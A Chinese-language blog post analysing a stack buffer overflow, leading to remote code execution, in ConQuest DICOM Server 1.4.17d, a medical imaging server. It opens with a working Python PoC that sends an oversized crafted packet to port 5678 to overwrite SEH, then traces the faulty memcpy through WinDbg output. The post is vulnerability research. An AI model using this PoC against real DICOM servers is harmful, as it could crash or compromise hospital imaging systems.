ConQuest DICOM Server 1.4.17d 远程代码执行漏洞

作者:k0shl 转载请注明出处:https://whereisk0shl.top

这个漏洞比较有意思,首先这个漏洞的软件是一个医学领域的软件,用于医学成像,其次这个软件的协议是自己定义的协议规则,也就是说具体协议字段部分的解析都是自己实现的,因此需要对协议的内容进行一定程度的分析,我在当时分析这个漏洞的时候对协议的分析比较粗浅,如有疏漏望指出。


漏洞说明


DICOM是医疗领域的一个软件,主要用于放射医疗领域,类似于图像传输等等,它可以运行在Windows,Linux和MacOS上,三个平台都存在漏洞。

PoC:

import socket, sys
 
hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'
         '\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'
         '\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'
         '\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'
         '\x31\x20\x00\x80\x00')
 
# 33406 bytes
buffer  = '\x41' * 20957 # STACK OVERFLOW / SEH OVERWRITE
buffer += '\x42' * 8 # RCX = 4242424242424242
buffer += '\x43' * 8 # defiler ;]
buffer += '\x44\x44\x44\x44' # EAX = 44444444 / RAX = 0000000044444444
buffer += '\x45' * 12429
 
bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'
       '\x52\x00\x00\x00')
 
print 'Sending '+str(len(buffer))+' bytes of data!'
 
if len(sys.argv) < 3:
    print '\nUsage: ' +sys.argv[0]+ ' <target> <port>'
    print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 5678\n'
    sys.exit(0)
  
host = sys.argv[1]
port = int(sys.argv[2])
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(17)
s.send(hello+buffer+bye)
s.close

漏洞复现


它在运行的时候会创建一个Server,会开一个端口,在Windows上是5678端口,DICOM有自己的通信协议,协议目前没有找到格式标准,开头部分如下

.....q....ORTHANC         JOXYPOXY!...........................................1.2.840.10008.3.1.1.1 ...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

在协议数据包里DATA部分包含畸形字符串的时候,DICOM会由于处理畸形字符串时,没有对数据长度进行有效控制,最后导致调用memcpy的时候将数据拷贝至栈地址空间,最后导致关键指针被覆盖引发异常指针引用,最后通过覆盖SEH结构导致代码执行,下面进行详细分析。

首先5678端口的进程是dgate.exe,windbg附加,发送PoC,程序崩溃。

0:002> g
(1db0.f6c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000af5 ecx=41414141 edx=da7854d8 esi=01812830 edi=019b7848
eip=0058b6a0 esp=019b6234 ebp=019b98c4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** WARNING: Unable to verify checksum for C:\Users\Administrator\Desktop\dicomserver1417d\dgate.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Users\Administrator\Desktop\dicomserver1417d\dgate.exe
dgate+0x18b6a0:
0058b6a0 8b4804          mov     ecx,dword ptr [eax+4] ds:0023:41414145=????????

kb回溯堆栈调用发现看不到之前的调用。

0:002> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
019b98c4 00000000 00000000 00000000 00000000 dgate+0x18b6a0

中断位置所处的函数挺复杂的,就从这个函数入手来看一下到底为什么发生漏洞。


漏洞分析


在程序入口下断点重新跟踪后,发现程序多次命中入口,对漏洞发生前的入口跟踪,发现eax=0x41的时候,离漏洞发生位置最近,而且0x41也是payload的一部分。

0:002> g
eax=00000041 ebx=00dfa820 ecx=012b7848 edx=00000001 esi=012b7848 edi=00dfa86c
eip=0058b570 esp=012b6244 ebp=00003eb7 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
dgate+0x18b570:
0058b570 53              push    ebx
0:002> g
eax=00000041 ebx=00dfa820 ecx=012b7848 edx=012b6278 esi=012b7848 edi=00dfa86c
eip=0058b570 esp=012b6244 ebp=00003eb7 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
dgate+0x18b570:
0058b570 53              push    ebx
0:002> dd ebx
00dfa820  41414141 00004141 41414141 41414141
00dfa830  41414141 41414141 41414141 41414141
00dfa840  41414141 41414141 41414141 41414141

在离漏洞发生最近的位置通过kb回溯,可以看到之前的函数调用。

0:002> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
012b6240 00591856 012b6278 00004141 012b7888 dgate+0x18b570
012b62c0 005932d3 012b7848 012b7888 012b7848 dgate+0x191856
012b62d8 00594706 012b7820 0065c808 00000000 dgate+0x1932d3
00000000 00000000 00000000 00000000 00000000 dgate+0x194706

在最外层函数下断点,发现在最外层call函数调用的时候,esp栈帧还是正常的栈帧情况,但是如果步过会到达漏洞发生的位置,也就是这个call函数只调用了一次,且esp的值会被覆盖成payload。

0:002> g
Breakpoint 0 hit
eax=00000001 ebx=00000000 ecx=019d7888 edx=00000001 esi=019d7848 edi=019d7888
eip=00594701 esp=019d62e0 ebp=019fff80 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
dgate+0x194701:
00594701 e8baeaffff      call    dgate+0x1931c0 (005931c0)
0:002> dd esp
019d62e0  019d7848 0065c808 00000000 00000001
019d62f0  0044fc9e 00000070 00000000 00000000
019d6300  0065c808 00000000 00000000 00000000

这样,就在esp当时所处的位置下一个条件断点,这样可以快速定位到是什么时候令栈帧被覆盖的。

0:002> t
eax=00000001 ebx=00000000 ecx=019d7888 edx=00000001 esi=019d7848 edi=019d7888
eip=005931c0 esp=019d62dc ebp=019fff80 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
dgate+0x1931c0:
005931c0 53              push    ebx
0:002> ba w1 019d62dc

下断点后直接执行,发现程序命中在一处rep movs指令,这个指令负责的是内存拷贝,多数都是memcpy。

0:002> g
Breakpoint 1 hit
eax=018f1170 ebx=00004141 ecx=00000373 edx=00000000 esi=018f03a4 edi=019d62f8
eip=005ba9ca esp=019d6218 ebp=019d6220 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
dgate+0x1ba9ca:
005ba9ca f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:002> dd 019d62dc
019d62dc  41414141 41414141 41414141 41414141
019d62ec  41414141 41414141 41414141 00000000

跟踪005ba9ca这处地址,发现这处地址处于一个memcpy的函数中,负责拷贝的就是payload,所以造成了esp被覆盖。

  if ( v12 + v3 > v13 )
  {
    memcpy(v5, (const void *)(v12 + v11[3]), v13 - v12);

而向外回溯的时候发现这个memcpy就处于漏洞发生的函数中,遮掩刚就在这里下一个断点,进行跟踪。

0:002> g
Breakpoint 1 hit
eax=00002800 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848
eip=0058b635 esp=019e6220 ebp=0187a828 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
dgate+0x18b635:
0058b635 2bc1            sub     eax,ecx
0:002> p
eax=00002791 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848
eip=0058b637 esp=019e6220 ebp=0187a828 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
dgate+0x18b637:
0058b637 50              push    eax
0:002> p
eax=00002791 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848
eip=0058b638 esp=019e621c ebp=0187a828 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
dgate+0x18b638:
0058b638 8b460c          mov     eax,dword ptr [esi+0Ch] ds:0023:0184286c=01c10048
0:002> p
eax=01c10048 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848
eip=0058b63b esp=019e621c ebp=0187a828 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
dgate+0x18b63b:
0058b63b 03c1            add     eax,ecx
0:002> p
eax=01c100b7 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848
eip=0058b63d esp=019e621c ebp=0187a828 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
dgate+0x18b63d:
0058b63d 50              push    eax
0:002> p
eax=01c100b7 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848
eip=0058b63e esp=019e6218 ebp=0187a828 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
dgate+0x18b63e:
0058b63e 55              push    ebp
0:002> p
eax=01c100b7 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848
eip=0058b63f esp=019e6214 ebp=0187a828 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
dgate+0x18b63f:
0058b63f e82cf30200      call    dgate+0x1ba970 (005ba970)
0:002> dd esp
019e6214  0187a828 01c100b7 00002791 0187a820
019e6224  00007ffc 0187a822 019e7848 0058e968
019e6234  0187a828 00004141 0187a818 019e7848

到达call memcpy调用的时候观察esp的三个参数,其中0x2791代表拷贝的长度,也就是10000+个字节,01c100b7,就是要拷贝的内容,就是我们的payload。

0:002> dc 01c100b7
01c100b7  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
01c100c7  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
01c100d7  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
01c100e7  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

而0187a828就是待拷贝的缓冲区,我们可以看到这个值离ebp的值很近,可以直接覆盖到ebp。这样拷贝结束之后。

0:002> p
eax=0187a828 ebx=00004141 ecx=00000000 edx=00000001 esi=01842860 edi=019e7848
eip=0058b644 esp=019e6214 ebp=0187a828 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
dgate+0x18b644:
0058b644 8b4604          mov     eax,dword ptr [esi+4] ds:0023:01842864=0000006f
0:002> dd eax
0187a828  41414141 41414141 41414141 41414141
0187a838  41414141 41414141 41414141 41414141
0187a848  41414141 41414141 41414141 41414141
0187a858  41414141 41414141 41414141 41414141
0:002> dd ebp
0187a828  41414141 41414141 41414141 41414141

可以看到ebp的值也被覆盖了,某些关键指针被覆盖,最后引用的时候,会引用到无效指针。

eax=41414141 ebx=00000af5 ecx=41414141 edx=da7854d8 esi=01812830 edi=019b7848
eip=0058b6a0 esp=019b6234 ebp=019b98c4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** WARNING: Unable to verify checksum for C:\Users\Administrator\Desktop\dicomserver1417d\dgate.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Users\Administrator\Desktop\dicomserver1417d\dgate.exe
dgate+0x18b6a0:
0058b6a0 8b4804          mov     ecx,dword ptr [eax+4] ds:0023:41414145=????????

同样,可以利用这种结构直接覆盖到seh结构,最后导致代码执行。这个漏洞发生的原因,就是由于DICOM在接收5678端口处理DICOM自己协议的时候由于对于数据包长度控制不严格,从而导致了某些关键指针被覆盖,最后导致代码执行。

Comments
Write a Comment